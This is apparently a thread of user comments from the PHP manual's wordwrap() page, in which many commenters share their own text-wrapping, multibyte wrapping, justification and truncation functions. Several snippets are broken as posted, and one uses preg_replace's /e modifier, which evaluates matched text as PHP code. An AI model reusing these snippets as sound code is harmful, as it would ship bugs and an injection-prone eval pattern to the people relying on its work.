Hi, this function is like wordwrap but it ignores html tags, it works like wordwrap when called with fourth parameter as true. It's based on a function I find here but improved to closer match the output of wordwrap (i.e. removed spaces at start of line) and also to improve performance.

Hope it can be useful for you :-)
<?php
function htmlwrap(&$str, $maxLength, $char='<br />'){
    $count = 0;
    $newStr = '';
    $openTag = false;
    $lenstr = strlen($str);
    for($i=0; $i<$lenstr; $i++){
        $newStr .= $str{$i};
        if($str{$i} == '<'){
            $openTag = true;
            continue;
        }
        if(($openTag) && ($str{$i} == '>')){
            $openTag = false;
            continue;
        }
        if(!$openTag){
            if($str{$i} == ' '){
                if ($count == 0) {
                    $newStr = substr($newStr,0, -1);
                    continue;
                } else {
                    $lastspace = $count + 1;
                }
            }
            $count++;
            if($count==$maxLength){
                if ($str{$i+1} != ' ' && $lastspace && ($lastspace < $count)) {
                    $tmp = ($count - $lastspace)* -1;
                    $newStr = substr($newStr,0, $tmp) . $char . substr($newStr,$tmp);
                    $count = $tmp * -1;
                } else {
                    $newStr .= $char;
                    $count = 0;
                }
                $lastspace = 0;
            }
        }
    }

    return $newStr;
}
?>
venimus at gmail dot com 09-Sep-2010 02:21
To cut long texts up to certain length without breaking words you can use this simple function

<?php

function cutstr($str, $length, $ellipsis=''){
   $cut=(array)explode('\n\n',wordwrap($str),$length,'\n\n'));
   return $cut[0].((strlen($cut)<strlen($str))?$ellipsis:'');
}

?>

Third parameter is added to the output string if it was cut, usually you should use '...'
Sam B 02-Jul-2010 08:41
The multibyte wordwrap functions in the comments all seem to break in the middle of word.  This one should break on spaces, where possible.

<?php
/**
 * Multibyte capable wordwrap
 *
 * @param string $str
 * @param int $width
 * @param string $break
 * @return string
 */
function mb_wordwrap($str, $width=74, $break="\r\n")
{
    // Return short or empty strings untouched
    if(empty($str) || mb_strlen($str, 'UTF-8') <= $width)
        return $str;

    $br_width  = mb_strlen($break, 'UTF-8');
    $str_width = mb_strlen($str, 'UTF-8');
    $return = '';
    $last_space = false;

    for($i=0, $count=0; $i < $str_width; $i++, $count++)
    {
        // If we're at a break
        if (mb_substr($str, $i, $br_width, 'UTF-8') == $break)
        {
            $count = 0;
            $return .= mb_substr($str, $i, $br_width, 'UTF-8');
            $i += $br_width - 1;
            continue;
        }

        // Keep a track of the most recent possible break point
        if(mb_substr($str, $i, 1, 'UTF-8') == " ")
        {
            $last_space = $i;
        }

        // It's time to wrap
        if ($count > $width)
        {
            // There are no spaces to break on!  Going to truncate :(
            if(!$last_space)
            {
                $return .= $break;
                $count = 0;
            }
            else
            {
                // Work out how far back the last space was
                $drop = $i - $last_space;

                // Cutting zero chars results in an empty string, so don't do that
                if($drop > 0)
                {
                    $return = mb_substr($return, 0, -$drop);
                }

                // Add a break
                $return .= $break;

                // Update pointers
                $i = $last_space + ($br_width - 1);
                $last_space = false;
                $count = 0;
            }
        }

        // Add character from the input string to the output
        $return .= mb_substr($str, $i, 1, 'UTF-8');
    }
    return $return;
}
?>
Ivan Lisnik 11-Jun-2010 03:26
here is my example of UTF-8 wordwrap
<?php
function wordwrap($str, $width, $break)
{
    $return = '';
    $br_width = mb_strlen($break, 'UTF-8');
    for($i = 0, $count = 0; $i < mb_strlen($str, 'UTF-8'); $i++, $count++)
    {
        if (mb_substr($str, $i, $br_width, 'UTF-8') == $break)
        {
            $count = 0;
            $return .= mb_substr($str, $i, $br_width, 'UTF-8');
            $i += $br_width - 1;
        }

        if ($count > $width)
        {
            $return .= $break;
            $count = 0;
        }

        $return .= mb_substr($str, $i, 1, 'UTF-8');
    }

    return $return;
}
?>
kouber at php dot net 27-May-2010 02:34
If you need a function to cut only words longer than N characters, feel free to use the function below:

<?php
function wrap($str, $width=75, $break="\n") {
  return preg_replace('#(\S{'.$width.',})#e', "chunk_split('$1', ".$width.", '".$break."')", $str);
}

echo wrap('aaaa bbb cc dddd-dddd', 3, ' ');
?>

The above example will output: "aaa a  bbb  cc ddd d-d ddd "
Lourvestruck at hotmail dot com 16-Apr-2010 02:19
I have a page with an image floating on the right, and text printed out beside the image (to the left). I used wordwrap to wrap the text so that it doesn't go over the image, but sometimes the text would go down beyond the image (vertically beyond the image, where the height of the text was more than the height of the image), resulting in wrapped text that doesn't need to be wrapped. So I came up with this method that takes a number max-lines to wordwrap, and then the rest either no wrapping, or wordwrapping at a different number of characters:

<?php
// Wrap the text so it fits within the 35c width (to fit beside the picture)
$text = wordwrap($text, 35, "<br/>");

// The text comes below the picture, where we want wrapping to stop...
$maxLines = 18;
$newWidth = 80;
$lastPos = 1;
for ($i=0;$i<$maxLines;$i++)
{
    $lastPos = strpos($text, '<br/>', $lastPos+1);
    if ($lastPos === FALSE)
        break;
}

$text = substr($text, 0, $lastPos) . "<br/>" . wordwrap(str_replace('<br/>',' ',substr($text, $lastPos)), $newWidth, '<br/>');

print $text;
?>
homer2k at gmx dot net 30-Mar-2010 04:31
A function that considers URIs.
<?php
function wordwrapURI($str, $width = 75, $break = "\n", $cut = false)
{
    $newText = array();
    $words = explode(' ', str_replace("\n", "\n ", $str));
    foreach($words as $word) {
        if(strpos($word, 'http://') === false && strpos($word, 'www.') === false) {
            $word = wordwrap($word, $width, $break, $cut);
        }
        $newText[] = $word;
    }
    return implode(' ', $newText);
}
?>
mary dot kalinosky at thieme dot com 18-Nov-2009 03:29
I wish there were a word_unwrap() function, but this seems to work:

<?php $text = preg_replace('/[\t\r\n]+/', ' ', $text); ?>
andrnag at yandex dot ru 05-Nov-2009 10:28
This is a really working multibite wordwrap function. Teted on utf-8 English and Russian strings. It's a compilation on other functions represented here.
<?php
   function utf8_wordwrap($str, $width = 75, $break = "\n") // wordwrap() with utf-8 support
    {
        $str =  preg_split('/([\x20\r\n\t]++|\xc2\xa0)/sSX', $str, -1, PREG_SPLIT_NO_EMPTY);
        $len = 0;
        foreach ($str as $val)
        {
            $val .= ' ';
            $tmp = mb_strlen($val, 'utf-8');
            $len += $tmp;
            if ($len >= $width)
            {
                $return .= $break . $val;
                $len = $tmp;
            }
            else
                $return .= $val;
        }
        return $return;
    }
?>
ojs-hp at web dot de 30-Oct-2009 10:06
After I got some problems with my function to convert a BB-text into HTML. Long words didn't really fit into the layout and only wordwarp() also added breaks to words which would fit into the layout or destroy the other HTML-tags....
So this is my solution. Only words with strlen() >= 40 are edited with wordwarp().

<?php
function bb2html($bb) {
        $words= explode(' ', $bb); // string to array
    foreach ($words as $word) {
        $break = 0;
        for ($i = 0; $i < strlen($word); $i++) {
            if ($break >= 40) {
                $word= wordwrap($word, 40, '-<br>', true); //add <br> every 40 chars
                $break = 0;
            }
            $break++;

        }
        $newText[] = $word; //add word to array
    }
    $bb = implode(' ', $newText); //array to string
    return $bb;
}
?>
starfantasy84 at hotmail dot com 29-Jul-2009 10:16
I tried using mb functions to word wrap 10 long strings (200 unicode utf8 chars) and I hit execution timeout error. After searching and testing, I came up with this simple and fast function for unicode word wrap.

<?php
//function to break up strings without whitespace chars in between
//if $cut is true then strings will be forcefully break up even there are whitespace in between.
function unicode_wordwrap($str, $len=50, $break=" ", $cut=false){
    if(empty($str)) return "";

    $pattern="";
    if(!$cut)
        $pattern="/(\S{".$len."})/u";
    else
        $pattern="/(.{".$len."})/u";

    return preg_replace($pattern, "\${1}".$break, $str);
}
?>
Marcin Dobruk [zuku3000 at yahoo dot co dot uk] 15-Jun-2009 02:21
Word wrap from left to right (standard) and from right to left.

<?php
function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
    if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
    if ($from=='right') {
        // string to array
        $arr_l=array();
        for ($a=0;strlen($string)>$a;$a++) $arr_l[$a]=$string{$a};
        // reverse array
        $arr_r=array_reverse($arr_l);
        // array to string
        $string_r='';
        foreach ($arr_r as $arr_line => $arr) $string_r.=$arr;
        // add wrap to reverse string
        $string_r=wordwrap($string_r, $length, $wrap, true);
        // reverse string to array
        $arr_r=array();
        for ($a=0;strlen($string_r)>$a;$a++) $arr_r[]=$string_r{$a};
        // reverse array again
        $arr_l=array_reverse($arr_r);
        // string with wrap
        $txt='';
        foreach ($arr_l as $arr_line => $arr) $txt.=$arr;
        }
    return $txt;
    }
?>
r dot hartung at roberthartung dot de 23-Mar-2009 04:26
I was wondering about my CMS to break up code but only non-HTML code - I didn't found anything so I came up with this little solution:

<?php
function wordWrapIgnoreHTML($string, $length = 45, $wrapString = "\n")
   {
     $wrapped = '';
     $word = '';
     $html = false;
     $string = (string) $string;
     for($i=0;$i<strlen($string);$i+=1)
     {
       $char = $string[$i];

       /** HTML Begins */
       if($char === '<')
       {
         if(!empty($word))
         {
           $wrapped .= $word;
           $word = '';
         }

         $html = true;
         $wrapped .= $char;
       }

       /** HTML ends */
       elseif($char === '>')
       {
         $html = false;
         $wrapped .= $char;
       }

       /** If this is inside HTML -> append to the wrapped string */
       elseif($html)
       {
         $wrapped .= $char;
       }

       /** Whitespace characted / new line */
       elseif($char === ' ' || $char === "\t" || $char === "\n")
       {
         $wrapped .= $word.$char;
         $word = '';
       }

       /** Check chars */
       else
       {
         $word .= $char;

         if(strlen($word) > $length)
         {
           $wrapped .= $word.$wrapString;
           $word = '';
         }
       }
     }

    if($word !== ''){
        $wrapped .= $word;
    }

     return $wrapped;
   }

$str = '<a href="http://www.example.de">';
$str .= 'Test-STRRRRRRRRRRRRRRRRRRIIIIIIIIIIIIIIIIIIIIIIING</a>';
$str .= '<!-- COMMENT_INSIDE_ANOTHER';
$str .= '_LONG_STRING //-->';

echo wordWrapIgnoreHTML($str, 25, '[BREAK]');

// Output: <a href="http://www.roberthartung.de">
// Test-STRRRRRRRRRRRRRRRRRRI[BREAK]
// IIIIIIIIIIIIIIIIIIIIIING
// </a><!-- ... //-->
?>

[NOTE BY danbrown AT php DOT net: Contains a bug fix provided by (jaw AT condidact DOT dk) on 02-APR-09 to address an issue where "the last word in a non-html-wrapped string will be omitted."]
Matt at newbiewebdevelopment dot idk 04-Mar-2009 01:53
My version of multibyte wordwrap

<?php
function mb_wordwrap($string, $width=75, $break="\n", $cut = false) {
    if (!$cut) {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.',}\b#U';
    } else {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.'}#';
    }
    $string_length = mb_strlen($string,'UTF-8');
    $cut_length = ceil($string_length / $width);
    $i = 1;
    $return = '';
    while ($i < $cut_length) {
        preg_match($regexp, $string,$matches);
        $new_string = $matches[0];
        $return .= $new_string.$break;
        $string = substr($string, strlen($new_string));
        $i++;
    }
    return $return.$string;
}

$mb_string = "こんにちは";//Hello in Japanese
$cut_mb_string = mb_wordwrap($mb_string,1," ",true); //こ ん に ち は
print($cut_mb_string);
?>
admin at studio-gepard dot pl 09-Dec-2008 05:09
<?php
function substr_word($str, $start, $end) {
    //function taking sub string from $str in between $start chars and $end chars.

    $String = wordwrap($str, ($end - $start), '[cut]', false);   //add [cut] for each word after $end chars
    $ExplodedString = explode('[cut]', $String);      //make an array with elements long for $end chars
    $end=ceil(strlen($text)/$end);   //how many elements of array are there. (celi > round >floor)

    $i=floor($end/$start);                            //take an element with start position

    $String = $ExplodedString[$i];
    if ($String[0]==" ") { substr($String, 1); } if ($String[0]==" ") { substr($String, 1); } if ($String[0]==" ") { substr($String, 1); }

    return $String;
}
?>
Usage example:
<?php

   $from=strpos($text,$word)-100;
   $to=strpos($text,$word)+400;
   $text=substrpos($text, $from, $to);

?>
will return text 100 chars before and 400 chars after searched word without breaking the words in text.
Good for seach scirpts for your website - imagine that $word is keyword you search for.

[NOTE BY danbrown AT php DOT net:  Contains a fix provided by (admin AT studio-gepard DOT pl).]
php at maranelda dot org 16-Sep-2008 04:17
Anyone attempting to write a text email client should be aware of the following:

<?php

$a = "some text that must wrap nice";

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that must
//  wrap nice

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that
//  must
//  wrap
//  nice

?>

Subsequent uses of wordwrap() on already wrapped text will take the end-of-line characters into account when working out line length, thus reading each line that just fit nicely the first time around as being one character too long the second. This can be a problem when preparing a text email that contains (eg.) a forwarded email which has already been word-wrapped.

Solutions below which explode() the text on end-of-lines and wordwrap() the resulting strings separately take care of this nicely.
mn_nospamplz_bayazit at g_mail dot com 30-Aug-2008 06:21
This should wrap long lines of code, maintaining the proper level of indentation, plus an extra tab to indicate it's been wrapped.

<?php
function codewrap($code, $maxLength = 80)
{
    $lines = explode("\n", $code);
    $count = count($lines);
    for($i=0; $i<$count; ++$i) {
        preg_match('`^\s*`', $code, $matches);
        $lines[$i] = wordwrap($lines[$i], $maxLength, "\n$matches[0]\t");
    }
    return implode("\n", $lines);
}
?>
mathijs DOT van DOT veluw AT SMScity.com 28-May-2008 04:56
I needed an UTF8/Unicode compatible wordwrap with the same features.
As i searched the internet several times, and havent found anything. I created one my self.

<?php
    public static function utf8Wordwrap($str, $width=75, $break="\n", $cut=false)
    {
        $splitedArray    = array();
        $lines            = explode("\n", $str);
        foreach ($lines as $line) {
            $lineLength = strlen($line);
            if ($lineLength > $width) {
                $words = explode("\040", $line);
                $lineByWords = '';
                $addNewLine = true;
                foreach ($words as $word) {
                    $lineByWordsLength        = strlen($lineByWords);
                    $tmpLine                = $lineByWords.((strlen($lineByWords) !== 0) ? ' ' : '').$word;
                    $tmplineByWordsLength    = strlen($tmpLine);
                    if ($tmplineByWordsLength > $width && $lineByWordsLength <= $width && $lineByWordsLength !== 0) {
                        $splitedArray[]    = $lineByWords;
                        $lineByWords    = '';
                    }

                    $newLineByWords            = $lineByWords.((strlen($lineByWords) !== 0) ? ' ' : '').$word;
                    $newLineByWordsLength    = strlen($newLineByWords);
                    if ($cut && $newLineByWordsLength > $width) {
                        for ($i = 0; $i < $newLineByWordsLength; $i = $i + $width) {
                            $splitedArray[] = mb_substr($newLineByWords, $i, $width);
                        }
                        $addNewLine = false;
                    } else {
                        $lineByWords = $newLineByWords;
                    }
                }
                if ($addNewLine) {
                    $splitedArray[] = $lineByWords;
                }
            } else {
                $splitedArray[] = $line;
            }
        }
        return implode($break, $splitedArray);
    }
?>

Hope someone else can use this also.
(Also all improvements are welcome)
admin at jcink dot com 25-Apr-2008 01:56
I wanted something that would word wrap just one word. People were doing ffffffffffffffffff in my comments page on my site, annoyingly stretching the page. but I didn't want to wrap at a certain fixed length, just wanted to break up words like that only. Here's what I came up with if anyone wants it.

<?php
function one_wordwrap($string,$width){
  $s=explode(" ", $string);
  foreach ($s as $k=>$v) {
    $cnt=strlen($v);
    if($cnt>$width) $v=wordwrap($v, $width, "<br />", true);
      $new_string.="$v ";
  }
  return $new_string;
}
?>
$del=' at '; 'sanneschaap' dot $del dot 'gmail dot com' 17-Apr-2008 01:41
These functions let you wrap strings comparing to their actual displaying width of proportional font. In this case Arial, 11px. Very handy in some cases since CSS3 is not yet completely supported. 100 strings = ~5 ms

My old sheep word wrap function (posted at the bottom of this page, is kinda old dated and this one is faster and more accurate).

<?php
//the width of the biggest char @
$fontwidth = 11;

//each chargroup has char-ords that have the same proportional displaying width
$chargroup[0] = array(64);
$chargroup[1] = array(37,87,119);
$chargroup[2] = array(65,71,77,79,81,86,89,109);
$chargroup[3] = array(38,66,67,68,72,75,78,82,83,85,88,90);
$chargroup[4] = array(35,36,43,48,49,50,51,52,53,54,55,56,57,60,61,62,63, 69,70,76,80,84,95,97,98,99,100,101,103,104,110,111,112, 113,115,117,118,120,121,122,126);
$chargroup[5] = array(74,94,107);
$chargroup[6] = array(34,40,41,42,45,96,102,114,123,125);
$chargroup[7] = array(44,46,47,58,59,91,92,93,116);
$chargroup[8] = array(33,39,73,105,106,108,124);

//how the displaying width are compared to the biggest char width
$chargroup_relwidth[0] = 1; //is char @
$chargroup_relwidth[1] = 0.909413854;
$chargroup_relwidth[2] = 0.728241563;
$chargroup_relwidth[3] = 0.637655417;
$chargroup_relwidth[4] = 0.547069272;
$chargroup_relwidth[5] = 0.456483126;
$chargroup_relwidth[6] = 0.36589698;
$chargroup_relwidth[7] = 0.275310835;
$chargroup_relwidth[8] = 0.184724689;

//build fast array
$char_relwidth = null;
for ($i=0;$i<count($chargroup);$i++){
    for ($j=0;$j<count($chargroup[$i]);$j++){
        $char_relwidth[$chargroup[$i][$j]] = $chargroup_relwidth[$i];
    }
}

//get the display width (in pixels) of a string
function get_str_width($str){
    global $fontwidth,$char_relwidth;
    $result = 0;
    for ($i=0;$i<strlen($str);$i++){
        $result += $char_relwidth[ord($str[$i])];
    }
    $result = $result * $fontwidth;
    return $result;
}

//truncates a string at a certain displaying pixel width
function truncate_str_at_width($str, $width, $trunstr='...'){
    global $fontwidth,$char_relwidth;
    $trunstr_width = get_str_width($trunstr);
    $width -= $trunstr_width;
    $width = $width/$fontwidth;
    $w = 0;
    for ($i=0;$i<strlen($str);$i++){
        $w += $char_relwidth[ord($str[$i])];
        if ($w > $width)
            break;
    }
    $result = substr($str,0,$i).$trunstr;
    return $result;
    // texas is the reason rules at 10am :)
}
?>
joachim 16-Apr-2008 02:42
There seems to be a difference between php 5.1 and 5.2 in how wordwrap counts characters (all on Mac OSX 10.5.2):

/Applications/MAMP/bin/php5/bin/php --version
PHP 5.1.6 (cli) (built: Sep  8 2006 10:25:04)

/Applications/MAMP/bin/php5/bin/php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft
(50)_UT

php --version
PHP 5.2.5 (cli) (built: Feb 20 2008 12:30:47)

php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft (50)_UT
thomas at tgohome dot com 19-Feb-2008 12:21
I wrote a justification function for a project of mine. It uses the wordwrap function and provides four justification options:

* Left; typically, the leftmost words receive the most padding
* Right; vice versa; the rightmost words receive the most padding
* Both; tries to evenly distribute the padding among leftmost and rightmost words
* Average; most complicated, uses an average of the three previous algorithms. I'd say this one produces the best result as it's more distributed in the center.

It does not justify the last line.

<?php
define('JPAD_LEFT', 1);     // More spaces are added on the left of the line
define('JPAD_RIGHT', 2);    // More spaces are added on the right of the line
define('JPAD_BOTH', 4);     // Tries to evenly distribute the padding
define('JPAD_AVERAGE', 8);  // Tries to position based on a mix of the three algorithms

function justify($input, $width, $mode = JPAD_AVERAGE)
{
    // We want to have n characters wide of text per line.
    // Use PHP's wordwrap feature to give us a rough estimate.
    $justified = wordwrap($input, $width, "\n", false);
    $justified = explode("\n", $justified);

    // Check each line is the required width. If not, pad
    // it with spaces between words.
    foreach($justified as $line)
    {
        if(strlen($line) != $width)
        {
            // Split by word, then glue together
            $words = explode(' ', $line);
            $diff  = $width - strlen($line);

            while($diff > 0)
            {
                // Process the word at this diff
                if     ($mode == JPAD_BOTH)  $words[$diff / count($words)] .= ' ';
                else if($mode == JPAD_AVERAGE)
                    $words[(($diff / count($words)) +
                            ($diff % count($words)) +
                            (count($words) - ($diff % count($words))))
                            / 3] .= ' ';
                else if($mode == JPAD_LEFT)  $words[$diff % count($words)] .= ' ';
                else if($mode == JPAD_RIGHT) $words[count($words) - ($diff % count($words))] .= ' ';

                // Next diff, please...
                $diff--;
            }
        }
        else
        {
            $words = explode(' ', $line);
        }

        $final .= implode(' ',  $words) . "\n";
    }

    // Return the final string
    return $final;
}
?>

Examples of output for the average algorithm:

Lorem ipsum dolor            sit amet, consectetur
adipisicing elit, sed do eiusmod tempor incididunt
ut labore et dolore magna aliqua. Ut enim ad minim
veniam, quis nostrud  exercitation ullamco laboris
nisi ut aliquip ex ea commodo consequat. Duis aute
irure dolor in    reprehenderit in voluptate velit
esse cillum dolore       eu fugiat nulla pariatur.
Excepteur sint occaecat    cupidatat non proident,
sunt in culpa qui  officia deserunt mollit anim id
est laborum.

(50 characters wide)
golanzakaiATpatternDOTcoDOTil 07-Oct-2007 10:39
<?php
    /**
     * Wordwrap without unnecessary word splitting using multibyte string functions
     *
     * @param string $str
     * @param int $width
     * @param string $break
     * @return string
     * @author Golan Zakai <golanzakaiATpatternDOTcoDOTil>
     */
    function _wordwrap( $str, $width, $break ) {
        $formatted = '';
        $position = -1;
        $prev_position = 0;
        $last_line = -1;

        /// looping the string stop at each space
        while( $position = mb_stripos( $str, " ", ++$position, 'utf-8' ) ) {
            if( $position > $last_line + $width + 1 ) {
                $formatted.= mb_substr( $str, $last_line + 1, $prev_position - $last_line - 1, 'utf-8' ).$break;
                $last_line = $prev_position;
            }
            $prev_position = $position;
        }

        /// adding last line without the break
        $formatted.= mb_substr( $str, $last_line + 1, mb_strlen( $str ), 'utf-8' );
        return $formatted;
    }
?>
fatchris 29-Jun-2007 02:11
If your string has some html entities, then it might split one in half. e.g.

<?php
/*
Outputs (Renders):

Préf&-
eacute;rence-
s e-mails

*/

echo wordwrap("Pr&eacute;f&eacute;rences e-mails");

?>

To solve this, you can use the following function:

<?php

function wordwrap2( $str, $width = 75, $break = '\n', $cut = true ) {
  $str = html_entity_decode( $str ); //first decode
  $out = wordwrap( $str, $width, $break, $cut ); //now wordwrap
  $out = htmlentities( $out ); //re-encode the entities
  $out = str_replace( htmlentities( $break ), $break, $out ); //put back the break
  return $out;
}

?>
phpsales at gmail dot com 16-May-2007 09:53
<?php
########################################
# Break long words with out cutting HTML tags.
########################################

/* Break Long Words (string, int, char) */

function breakLongWords($str, $maxLength, $char){
    $wordEndChars = array(" ", "\n", "\r", "\f", "\v", "\0");
    $count = 0;
    $newStr = "";
    $openTag = false;
    for($i=0; $i<strlen($str); $i++){
        $newStr .= $str{$i};

        if($str{$i} == "<"){
            $openTag = true;
            continue;
        }
        if(($openTag) && ($str{$i} == ">")){
            $openTag = false;
            continue;
        }

        if(!$openTag){
            if(!in_array($str{$i}, $wordEndChars)){//If not word ending char
                $count++;
                if($count==$maxLength){//if current word max length is reached
                    $newStr .= $char;//insert word break char
                    $count = 0;
                }
            }else{//Else char is word ending, reset word char count
                    $count = 0;
            }
        }

    }//End for
    return $newStr;
}
?>
Rekcor 27-Mar-2007 06:36
Improved version of egyptechno[at]gmail.com's wordCut.

In this improved function, the length of $sMessage is taken into consideration while cutting the text, so the returned string is never longer than $iMaxLength. Besides that, whole words are cut as well.

<?php
/**
 * function wordCut($sText, $iMaxLength, $sMessage)
 *
 * + cuts an wordt after $iMaxLength characters
 *
 * @param  string   $sText       the text to cut
 * @param  integer  $iMaxLength  the text's maximum length
 * @param  string   $sMessage    piece of text which is added to the cut text, e.g. '...read more'
 *
 * @returns string
 **/
function wordCut($sText, $iMaxLength, $sMessage)
{
   if (strlen($sText) > $iMaxLength)
   {
       $sString = wordwrap($sText, ($iMaxLength-strlen($sMessage)), '[cut]', 1);
       $asExplodedString = explode('[cut]', $sString);

       echo $sCutText = $asExplodedString[0];

       $sReturn = $sCutText.$sMessage;
   }
   else
   {
       $sReturn = $sText;
   }

   return $sReturn;
}
?>
Peter 19-Dec-2006 05:00
The main concern when you have a text in a cell is for long words that drags the cell margins. This function will break words in a text that have more then $nr characters using the "-" char.

<?php
function processtext($text,$nr=10)
    {
        $mytext=explode(" ",trim($text));
        $newtext=array();
        foreach($mytext as $k=>$txt)
        {
            if (strlen($txt)>$nr)
            {
                $txt=wordwrap($txt, $nr, "-", 1);
            }
            $newtext[]=$txt;
        }
        return implode(" ",$newtext);
    }
?>
tylernt at gmail dot com 28-Nov-2006 11:39
I wrote this to keep long strings from making my tables wider than the browser window. To lessen the impact on performance, only call this function on strings longer than 'X' characters.

<?php
// This function will insert the 'wbr' (optional linebreak) tag
// to wrap words in $string longer than 10 characters,
// but will not break inside HTML tags
function mywordwrap($string)
{
$length = strlen($string);

for ($i=0; $i<=$length; $i=$i+1)
    {
    $char = substr($string, $i, 1);
    if ($char == "<")
        $skip=1;
    elseif ($char == ">")
        $skip=0;
    elseif ($char == " ")
        $wrap=0;

    if ($skip==0)
        $wrap=$wrap+1;

    $returnvar = $returnvar . $char;

    if ($wrap>9) // alter this number to set the maximum word length
        {
        $returnvar = $returnvar . "<wbr>";
        $wrap=0;
        }
    }

return $returnvar;

}
?>
Edward 18-Oct-2006 06:12
I needed a function to justify the text - not just wrap it. I came up with this:

<?php
function justify($text, $width, $break) {
        $marker = "__$%@random#$()__";

        // lines is an array of lines containing the word-wrapped text
        $wrapped = wordwrap($text, $width, $marker);
        $lines = explode($marker, $wrapped);

        $result = "";
        foreach ($lines as $line_index=>$line) {
                $line = trim($line);

                $words = explode(" ", $line);
                $words = array_map("trim", $words);
                $wordcount = count($words);
                $wordlength = strlen(implode("", $words));

                if (3*$wordlength < 2*$width) {
                        // don't touch lines shorter than 2/3 * width
                        continue;
                }

                $spaces = $width - $wordlength;

                $index = 0;
                do {
                        $words[$index] = $words[$index] . " ";
                        $index = ($index + 1) % ($wordcount - 1);
                        $spaces--;
                } while ($spaces>0);

                $lines[$line_index] = implode("", $words);
        }

        return implode($break, $lines);
}
?>
egyptechno [at] gmail.com 04-Oct-2006 03:12
Another function to cut text afterr $limit letters ,

function :

<?php
function wordCut($text, $limit, $msg){
    if (strlen($text) > $limit){
        $txt1 = wordwrap($text, $limit, '[cut]');
        $txt2 = explode('[cut]', $txt1);
        $ourTxt = $txt2[0];
        $finalTxt = $ourTxt.$msg;
    }else{
        $finalTxt = $text;
    }
    return $finalTxt;
}
?>

return :
The limited text

description :
It takes the text, add the string '[cut]' every $limit text by wordwrap, then we explode the text with '[cut]' and takes the first element in the array which we need !

how to use :
wordCut($my_text, 200, '... read more');

EgypTechno
feedback at realitymedias dot com 01-Oct-2006 11:50
Here is a way to use wordwrap to add spaces to long "words", without breaking link tags -- I came up with this as there apparently is no way to reproduce this effect with a regular expression.

This is mostly used in users-posts where your output layout could be broken with words that are longer than what the container object can take - it will not effect html tags (such as <a href="aaaaaaaaaaaaaaaaaaaaaaaaa"> so you don't end up with broken links !

<?php
$body = 'this is a text with aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa looooooooooooooooooooooooooooong word! <a href="http://www.example.com/with/a/loooooooooooooooooooooong/url'> ... </a>';

foreach(explode(" ", strip_tags($body)) as $key => $line) {
  if (strlen($line) > 35) $body = str_replace($line, wordwrap($line, 25, " ", 1), $body);
}
/*(In case you would like the same thing without the tags protection, there is a regular expression way; */

$body = preg_replace("/([^\s]{35})/","$1 ",$body);
?>
19-Jul-2006 09:47
I've written another implemention of textwrap, becourse the last one didnt work for me.

<?php
function textwrap ($text, $length, $break) {
    $pure=strip_tags($text);
    $words=str_word_count($pure, 1);
    foreach ($words as $word) {
        if (strlen($word) > $length) {
            $newword=wordwrap($word, $length, $break, TRUE);
            $text=str_replace($word, $newword, $text);
        }
    }
    return $text;
}
?>
EngrKhalid 10-Feb-2006 08:54
I found this function helpful to cut long words without adding spaces:

<?php
function fWrap ( $vText, $vMax ) {
    $vWords = explode(" ", $vText);
    foreach ( $vWords as $i =>$w ) {
        if ( strlen ( $vWords[$i] ) > $vMax ) { $vWords[$i] = wordwrap( $vWords[$i], $vMax, "<wbr>", 1 ); }
    }
    return implode(" ", $vWords);
}
?>

Regards.
Dave Lozier - dave at fusionbb.com 30-Nov-2005 12:48
If you'd like to break long strings of text but avoid breaking html you may find this useful. It seems to be working for me, hope it works for you. Enjoy. :)

<?php
    function textWrap($text) {
        $new_text = '';
        $text_1 = explode('>',$text);
        $sizeof = sizeof($text_1);
        for ($i=0; $i<$sizeof; ++$i) {
            $text_2 = explode('<',$text_1[$i]);
            if (!empty($text_2[0])) {
                $new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1  ', $text_2[0]);
            }
            if (!empty($text_2[1])) {
                $new_text .= '<' . $text_2[1] . '>';
            }
        }
        return $new_text;
    }
?>
frans-jan at van-steenbeek dot R-E-M-O-V-E dot net 16-Nov-2005 06:17
Using wordwrap is usefull for formatting email-messages, but it has a disadvantage: line-breaks are often treated as whitespaces, resulting in odd behaviour including lines wrapped after just one word.

To work around it I use this:

<?php
 function linewrap($string, $width, $break, $cut) {
  $array = explode("\n", $string);
  $string = "";
  foreach($array as $key => $val) {
   $string .= wordwrap($val, $width, $break, $cut);
   $string .= "\n";
  }
  return $string;
 }
?>

I then use linewrap() instead of wordwrap()

hope this helps someone
tjomi4 at yeap dot lv 23-Sep-2005 03:26
utf8_wordwrap();

usage: utf8_wordwrap("text",3,"<br>");
coded by tjomi4`, thanks to SiMM.
web: www.yeap.lv

<?php

function utf8_wordwrap($str,$len,$what){
# usage: utf8_wordwrap("text",3,"<br>");
# by tjomi4`, thanks to SiMM.
# www.yeap.lv
$from=0;
$str_length = preg_match_all('/[\x00-\x7F\xC0-\xFD]/', $str, $var_empty);
$while_what = $str_length / $len;
while($i <= round($while_what)){
$string = preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$from.'}'.
                       '((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$len.'}).*#s',
                       '$1',$str);
$total .= $string.$what;
$from = $from+$len;
$i++;
}
return $total;
}
?>
pawan at shopsbs dot com 14-Aug-2005 10:32
I wanted to use this function to add a particular text after a certain word count. Here is how I implemented it:

<?php
$content = wordwrap($content, 200, "....<br /><!--more-->\n");
?>

Above code adds the text '...<br/><!--more-->\n' after a 200 word count. I know there are a million ways this can be done in PHP. Go PHP!
x403 at yandex dot ru 23-Jun-2005 06:35
String lenght control:

<?php
if (str_word_count($STRING) > 0)
    $div = strlen($STRING) / str_word_count($STRING);
else return " ";

if ( $div > 25 ) return wordwrap($STRING, 25, "\n", 1);

return $STRING;

// Maximum word lenght is 25 chars
?>
Kyle 31-May-2005 11:34
Yet-another-wordwrap-improvement... If you attempt to wordwrap() lines that already contain some line-breaks that you want to maintain, a simple wrapper around wordwrap can help. For example:

<?php
function preserve_wordwrap($tstr, $len = 75, $br = '\n') {
